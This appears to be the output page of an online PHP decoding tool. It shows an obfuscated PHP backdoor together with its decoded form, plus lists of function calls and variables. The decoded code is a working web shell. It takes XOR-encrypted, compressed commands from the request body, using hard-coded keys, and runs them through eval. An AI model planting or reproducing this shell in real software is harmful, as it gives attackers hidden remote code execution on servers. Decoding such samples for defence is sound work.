Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$M=str_replace('M','','creMatMMe_fuMMnctMion'); $N='.+[e)$kf/",@[efile_g[eet_[econtents("..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="740ea7af";$kh="cc423a85093b";$kf="d7e81bb0adbf";$p="aGHGKiNlRScTv1Q1";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); eval(@gzuncompress(@x(base64_decode($m[1]),$k))); $o=@ob_get_contents();  @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

 $M=str_replace('M','','creMatMMe_fuMMnctMion'); $N='.+[e)$kf/",@[efile_g[eet_[econtents("php[e:/[e/input")[e,$m) ==[e[e 1[e) '; $x='e),$k[e))); $o=@[e[eob_get_[econtents[e(); [e @ob_end_cle[ean();[e[e $r=@ba'; $W='([e$[et);$o="";for($i=0;$[ei<$l[e;){for($j=0;([e$j<$c&&[e$i<[e$l);$j++,[e$i'; $m='{ @ob_start();[e @ev[eal(@[egzun[ecompre[ess(@x(@ba[ese64_[edecod[ee($m[1]['; $U='HG[eKi[eNlRScTv[e1Q1[e";func[etion x($[et,$k){$c=s[etrlen($[ek[e)[e[e;$l=strlen'; $K='s[ee64_encode[e(@[ex(@gzcompr[e[eess($o),$k))[e[e; pri[ent("$p$kh[e$r$kf");}'; $I='+[e[e+){$o[e.=$t{$i}^[e$[ek{$j};}}r[eetu[ern $o;}if (@preg_ma[et[ech("/$k[eh('; $F='$k="740ea[e[e7a[ef";$kh="cc423a850[e93b[e";$kf="d7e[e8[e1bb0[eadbf";$p="[eaG'; $j=str_replace('[e','',$F.$U.$W.$I.$N.$m.$x.$K); $D=$M('',$j);$D();

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$F $k="740ea[e[e7a[ef";$kh="cc423a850[e93b[e";$kf="d7e[e8[e1bb0..
$I +[e[e+){$o[e.=$t{$i}^[e$[ek{$j};}}r[eetu[ern $o;}if (@preg_m..
$K s[ee64_encode[e(@[ex(@gzcompr[e[eess($o),$k))[e[e; pri[ent("..
$M create_function
$N .+[e)$kf/",@[efile_g[eet_[econtents("php[e:/[e/input")[e,$m)..
$U HG[eKi[eNlRScTv[e1Q1[e";func[etion x($[et,$k){$c=s[etrlen($[..
$W ([e$[et);$o="";for($i=0;$[ei<$l[e;){for($j=0;([e$j<$c&&[e$i<..
$j $k="740ea7af";$kh="cc423a85093b";$kf="d7e81bb0adbf";$p="aGHG..
$k 740ea7af
$m { @ob_start();[e @ev[eal(@[egzun[ecompre[ess(@x(@ba[ese64_[e..
$p aGHGKiNlRScTv1Q1
$x e),$k[e))); $o=@[e[eob_get_[econtents[e(); [e @ob_end_cle[ea..
$kf d7e81bb0adbf
$kh cc423a85093b

Stats

MD5 f0c0d9d26ff741b66dd860e351cfc12a
Eval Count 1
Decode Time 369 ms